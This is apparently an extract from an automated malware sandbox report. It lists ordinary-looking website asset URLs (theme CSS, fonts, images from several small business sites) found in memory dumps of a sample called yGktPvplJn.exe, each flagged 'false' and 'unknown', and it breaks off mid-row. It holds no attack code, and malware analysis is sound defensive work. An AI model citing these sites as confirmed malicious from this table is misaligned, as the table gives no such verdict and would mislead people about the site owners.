https://www.elpro.si/kontakt/	yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2475478766.0000000006B0C000.00000004.00000020.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLm111VGdeOcEg.woff2)	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.elpro.si/wp-content/uploads/2020/02/ebi-12-14-150x150.png	yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.elpro.si/wp-content/plugins/yith-woocommerce-wishlist/assets/css/jquery.selectBox.css?ver	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-solid-900.woff2	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.colourrich.co.uk	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://aevga.com/wp-content/themes/oldhaven/css/custom.css?ver=1.5	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://baijaku.com/instruments-detail/g-yamaha_silent_guitar_slg100s-05%20.html	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.stnic.co.uk/wp-content/themes/outstock/fancybox/jquery.fancybox.css?ver=6.6.2	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://aevga.com/wp-content/themes/oldhaven/tribe-events/custom.css?ver=1.5	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://aevga.com/wp-content/fonts/poppins/pxiGyp8kv8JHgFVrLPTufntAKPY.woff2)	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://gmpg.org/xfn/11	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 